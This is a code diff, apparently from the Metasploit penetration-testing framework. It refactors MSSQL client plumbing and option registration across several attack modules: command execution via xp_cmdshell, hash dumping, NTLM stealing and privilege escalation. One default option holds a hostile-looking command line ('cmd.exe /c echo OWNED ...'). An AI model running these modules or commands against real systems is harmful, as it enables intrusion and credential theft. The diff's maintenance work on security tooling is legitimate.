-- -- return mssql_ping_parse(resp) -- end -- -- def mssql_ping_parse(data) -- res = [] -- var = nil -- idx = data.index('ServerName') -- return res if not idx -- sdata = data[idx, (data.length - 1)] -- -- instances = sdata.split(';;') -- instances.each do |instance| -- rinst = {} -- instance.split(';').each do |d| -- if (not var) -- var = d -- else -- if (var.length > 0) -- rinst[var] = d -- var = nil -- end -- end -- end -- res << rinst -- end -- -- return res -- end -- -- def mssql_print_reply(info) -- print_status("SQL Query: #{info[:sql]}") -- -- if info[:done] && info[:done][:rows].to_i > 0 -- print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})") -- end -- -- if info[:errors] && !info[:errors].empty? -- info[:errors].each do |err| -- print_error(err) -- end -- end -- -- if info[:rows] && !info[:rows].empty? -- -- tbl = Rex::Text::Table.new( -- 'Indent' => 1, -- 'Header' => "", -- 'Columns' => info[:colnames], -- 'SortIndex' => -1 -- ) -- -- info[:rows].each do |row| -- tbl << row -- end -- -- print_line(tbl.to_s) -- end -- end - end - end - end -diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb -index 3235128019..bdfe1b7933 100644 ---- a/modules/auxiliary/admin/mssql/mssql_enum.rb -+++ b/modules/auxiliary/admin/mssql/mssql_enum.rb -@@ -2,10 +2,9 @@ - # This module requires Metasploit: https://metasploit.com/download - # Current source: https://github.com/rapid7/metasploit-framework - ## --require 'metasploit/framework/mssql/metasploit_mixin' - - class MetasploitModule < Msf::Auxiliary -- include Metasploit::Framework::MSSQL::MetasploitMixin -+ include Msf::Exploit::Remote::MSSQL - include Msf::Auxiliary::Report - - def initialize(info = {}) -@@ -21,20 +20,9 @@ class MetasploitModule < Msf::Auxiliary - 'License' => MSF_LICENSE - )) - -- register_options( -- [ -- OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]), -- Opt::RHOST, -- Opt::RPORT(1433), -- OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), -- OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), -- OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), -- OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), -- ]) - end - - def run -- # set_sane_defaults - print_status("Running MS SQL Server Enumeration...") - - if !mssql_login(datastore['USERNAME'], datastore['PASSWORD']) -diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb -index 814a9613eb..9f80dd4016 100644 ---- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb -+++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb -@@ -2,10 +2,9 @@ - # This module requires Metasploit: https://metasploit.com/download - # Current source: https://github.com/rapid7/metasploit-framework - ## --require 'metasploit/framework/mssql/metasploit_mixin' - - class MetasploitModule < Msf::Auxiliary -- include Metasploit::Framework::MSSQL::MetasploitMixin -+ include Msf::Exploit::Remote::MSSQL - include Msf::Auxiliary::Report - - def initialize(info = {}) -@@ -29,13 +28,7 @@ class MetasploitModule < Msf::Auxiliary - - register_options( - [ -- OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]), -- Opt::RHOST, -- Opt::RPORT(1433), -- OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), -- OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), -- OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), -- OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), -+ OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]) - ]) - end - -diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb -index d4c0ac3893..ac2a2e7b3e 100644 ---- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb -+++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb -@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary - - service_data = { - address: ip, -- port: rport, -+ port: datastore['RPORT'], - service_name: 'mssql', - protocol: 'tcp', - workspace_id: myworkspace_id -@@ -125,7 +125,7 @@ class MetasploitModule < Msf::Auxiliary - - service_data = { - address: ::Rex::Socket.getaddress(rhost,true), -- port: rport, -+ port: datastore['RPORT'], - service_name: 'mssql', - protocol: 'tcp', - workspace_id: myworkspace_id -diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb -index 32d8e5ab43..613c3d2589 100644 ---- a/modules/auxiliary/scanner/mssql/mssql_login.rb -+++ b/modules/auxiliary/scanner/mssql/mssql_login.rb -@@ -5,10 +5,9 @@ - - require 'metasploit/framework/credential_collection' - require 'metasploit/framework/login_scanner/mssql' --require 'metasploit/framework/mssql/client' -+require 'rex/proto/mssql/client' - - class MetasploitModule < Msf::Auxiliary -- # include Metasploit::Framework::MSSQL::Client - include Msf::Auxiliary::Report - include Msf::Auxiliary::AuthBrute - -@@ -45,8 +44,6 @@ class MetasploitModule < Msf::Auxiliary - end - - def run_host(ip) -- rport = 1433 -- rhost = datastore['RHOST'] - print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - MSSQL - Starting authentication scanner.") - - if datastore['TDSENCRYPTION'] -diff --git a/modules/exploits/windows/mssql/ms02_056_hello.rb b/modules/exploits/windows/mssql/ms02_056_hello.rb -index 03d294a60d..61e332f6dd 100644 ---- a/modules/exploits/windows/mssql/ms02_056_hello.rb -+++ b/modules/exploits/windows/mssql/ms02_056_hello.rb -@@ -3,6 +3,7 @@ - # Current source: https://github.com/rapid7/metasploit-framework - ## - require 'metasploit/framework/mssql/metasploit_mixin' -+require 'metasploit/framework/tcp/client' - - class MetasploitModule < Msf::Exploit::Remote - Rank = GoodRanking -@@ -49,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote - 'Platform' => 'win', - 'DisclosureDate' => '2002-08-05', - 'DefaultTarget' => 0)) -- -+ - register_options( - [ - Opt::RPORT(1433), diff --git a/lib/msf/core/exploit/remote/mssql.rb b/lib/msf/core/exploit/remote/mssql.rb index 46c3a72377e9..29086831e58d 100644 --- a/lib/msf/core/exploit/remote/mssql.rb +++ b/lib/msf/core/exploit/remote/mssql.rb @@ -31,8 +31,8 @@ def initialize(info = {}) Opt::RPORT(1433), OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), + # OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - TODO: support TDS Encryption ], Msf::Exploit::Remote::MSSQL) register_advanced_options( [ @@ -199,33 +199,7 @@ def mssql_query(sqla, doprint=false, opts={}) # Nicely print the results of a SQL query # def mssql_print_reply(info) - print_status("SQL Query: #{info[:sql]}") - - if info[:done] && info[:done][:rows].to_i > 0 - print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})") - end - - if info[:errors] && !info[:errors].empty? - info[:errors].each do |err| - print_error(err) - end - end - - if info[:rows] && !info[:rows].empty? - - tbl = Rex::Text::Table.new( - 'Indent' => 1, - 'Header' => "", - 'Columns' => info[:colnames], - 'SortIndex' => -1 - ) - - info[:rows].each do |row| - tbl << row - end - - print_line(tbl.to_s) - end + @client.mssql_print_reply end def mssql_send_recv(req, timeout=15, check_status = true) diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb index 3e0ed698f1f1..7ed1657a782d 100644 --- a/lib/rex/proto/mssql/client.rb +++ b/lib/rex/proto/mssql/client.rb @@ -43,7 +43,7 @@ class Client # @return [Integer] The delay between sending packets attr_accessor :send_delay - def initialize(framework_module, framework, rhost, rport = 1433) + def initialize(framework_module, framework, rhost, rport = 1433, opts = {}) @framework_module = framework_module @framework = framework @connection_timeout = 30 || framework_module.datastore['ConnectTimeout'] @@ -57,7 +57,7 @@ def initialize(framework_module, framework, rhost, rport = 1433) @rhost = rhost @rport = rport end - + # # This method connects to the server over TCP and attempts # to authenticate with the supplied username and password @@ -571,6 +571,7 @@ def mssql_query(sqla, doprint=false, opts={}) resp = mssql_send_recv(pkts.join, opts[:timeout]) mssql_parse_reply(resp, info) + mssql_print_reply(info) if doprint info end @@ -653,47 +654,6 @@ def chost def cport return nil end - - # def auth - # Msf::Exploit::Remote::AuthOption::AUTO - # end - - # def tdsencryption - # false - # end - - # def domain_controller_rhost - # raise NotImplementedError - # end - - # def hostname - # raise NotImplementedError - # end - - # def windows_authentication - # raise NotImplementedError - # end - - # def use_ntlm2_session - # raise NotImplementedError - # end - - # def use_ntlmv2 - # raise NotImplementedError - # end - - # def send_lm - # raise NotImplementedError - # end - - # def send_ntlm - # raise NotImplementedError - # end - - # def send_spn - # raise NotImplementedError - # end - end end diff --git a/lib/rex/proto/mssql/client_mixin.rb b/lib/rex/proto/mssql/client_mixin.rb index 51a445bd8fc2..23a3adb756e3 100644 --- a/lib/rex/proto/mssql/client_mixin.rb +++ b/lib/rex/proto/mssql/client_mixin.rb @@ -5,7 +5,7 @@ module MSSQL module ClientMixin include Msf::Module::UI::Message extend Forwardable - def_delegators :@framework_module, :print_prefix, :print_status, :print_error, :print_good, :print_warning + def_delegators :@framework_module, :print_prefix, :print_status, :print_error, :print_good, :print_warning, :print_line # Encryption ENCRYPT_OFF = 0x00 #Encryption is available but off. ENCRYPT_ON = 0x01 #Encryption is available and on. @@ -32,6 +32,36 @@ module ClientMixin STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ + def mssql_print_reply(info) + print_status("SQL Query: #{info[:sql]}") + + if info[:done] && info[:done][:rows].to_i > 0 + print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})") + end + + if info[:errors] && !info[:errors].empty? + info[:errors].each do |err| + print_error(err) + end + end + + if info[:rows] && !info[:rows].empty? + + tbl = Rex::Text::Table.new( + 'Indent' => 1, + 'Header' => "", + 'Columns' => info[:colnames], + 'SortIndex' => -1 + ) + + info[:rows].each do |row| + tbl << row + end + + print_line(tbl.to_s) + end + end + def mssql_send_recv(req, timeout=15, check_status = true) sock.put(req) @@ -367,10 +397,6 @@ def mssql_parse_info(data, info) info end - def mssql_query(sqla, doprint=false, opts={}) - @client.mssql_query(sqla, doprint, opts) - end - # # Parse a "login ack" TDS token # diff --git a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb index 785c834886e9..14316a9e9ae7 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, @@ -28,12 +27,6 @@ def initialize(info = {}) register_options( [ OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), ]) end @@ -108,7 +101,7 @@ def check_sysadmin # Parse query results parse_results = result[:rows] status = parse_results[0][0] - + # Return status return status end diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index 17e666168c00..d18b6db98974 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, @@ -20,17 +19,6 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']] )) - - register_options( - [ - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), - ]) - # @client = Metasploit::Framework::MSSQL::Client.new(self, framework, "192.168.2.190", 1433) end def run diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb index 60e8b9bc232c..4e59c682a9f3 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, @@ -20,15 +19,6 @@ def initialize(info = {}) 'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']] )) - register_options( - [ - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), - ]) end def run diff --git a/modules/auxiliary/admin/mssql/mssql_exec.rb b/modules/auxiliary/admin/mssql/mssql_exec.rb index cd424bf1e139..7130a6388337 100644 --- a/modules/auxiliary/admin/mssql/mssql_exec.rb +++ b/modules/auxiliary/admin/mssql/mssql_exec.rb @@ -3,10 +3,10 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' + class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super( @@ -34,13 +34,7 @@ def initialize(info = {}) register_options([ OptString.new('CMD', [ false, 'Command to execute', 'cmd.exe /c echo OWNED > C:\\owned.exe']), - OptEnum.new('TECHNIQUE', [true, 'Technique to use for command execution', 'xp_cmdshell', ['xp_cmdshell', 'sp_oacreate']]), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), + OptEnum.new('TECHNIQUE', [true, 'Technique to use for command execution', 'xp_cmdshell', ['xp_cmdshell', 'sp_oacreate']]) ]) end diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index c9a6e193e1aa..45d677624e81 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -35,12 +34,6 @@ def initialize(info = {}) [ OptString.new('KEYWORDS', [ true, 'Keywords to search for','passw|credit|card']), OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', 1]), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), ]) end diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index b3eb6a0b5936..b835a86065d2 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -11,10 +11,9 @@ # 'interesting' columns and data # ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, @@ -36,12 +35,6 @@ def initialize(info = {}) register_options( [ OptString.new('NAMES', [ true, 'Pipe separated list of column names', 'passw|bank|credit|card']), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), ]) end diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index fd46f8d64618..5cea3b390c8c 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Scanner def initialize(info = {}) @@ -34,13 +33,7 @@ def initialize(info = {}) register_options( [ - OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), + OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']) ]) end diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb index e32f50a1b538..8a675784f897 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, @@ -26,12 +25,6 @@ def initialize(info = {}) register_options( [ OptString.new('SQL', [ false, 'The SQL query to execute', 'select @@version']), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), ]) end diff --git a/modules/auxiliary/admin/mssql/mssql_sql_file.rb b/modules/auxiliary/admin/mssql/mssql_sql_file.rb index 338dce1f7a33..a1ec6619b409 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql_file.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql_file.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, @@ -24,12 +23,6 @@ def initialize(info = {}) OptPath.new('SQL_FILE', [ true, "File containing multiple SQL queries execute (one per line)"]), OptString.new('QUERY_PREFIX', [ false, "string to append each line of the file",""]), OptString.new('QUERY_SUFFIX', [ false, "string to prepend each line of the file",""]), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), ]) end diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb index 82027b66fa48..596e549f2dd0 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Fuzzer @@ -18,16 +17,6 @@ def initialize(info = {}) 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE )) - - register_options( - [ - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), - ]) end # A copy of the mssql_login method with the ability to overload each option diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb index 97516458a4a7..db4a1a03a3c7 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Fuzzer @@ -18,16 +17,6 @@ def initialize(info = {}) 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE )) - - register_options( - [ - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), - ]) end # A copy of the mssql_login method with the ability to overload each option diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index d6a12cc4c452..d3aea0d7581d 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report @@ -42,14 +41,7 @@ def initialize(info = {}) register_options([ OptString.new('DATABASE', [true, 'The Lansweeper database', 'lansweeperdb']), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), ]) - end def uint32(n) diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index ac2a2e7b3e4c..2b1f93dc0d5e 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -22,17 +21,6 @@ def initialize 'Author' => ['theLightCosine'], 'License' => MSF_LICENSE ) - - register_options( - [ - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), - ]) - end def run_host(ip) diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb index 57a92705437d..31e030c1d97a 100644 --- a/modules/auxiliary/scanner/mssql/mssql_ping.rb +++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb @@ -2,10 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -20,7 +19,6 @@ def initialize register_options( [ - Opt::RHOST, OptInt.new('THREADS', [true, "The number of concurrent threads (max one per host)", 1]), ]) deregister_options('RPORT') diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index a1319a63a7bb..cc52bb9e719e 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -2,11 +2,10 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' require 'yaml' class MetasploitModule < Msf::Auxiliary - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -25,13 +24,7 @@ def initialize ) register_options([ - OptBool.new('DISPLAY_RESULTS', [true, "Display the Results to the Screen", true]), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), + OptBool.new('DISPLAY_RESULTS', [true, "Display the Results to the Screen", true]) ]) end diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb index 1ee2f5eccf31..56fc8837b64d 100644 --- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb +++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb @@ -2,12 +2,11 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Exploit::EXE 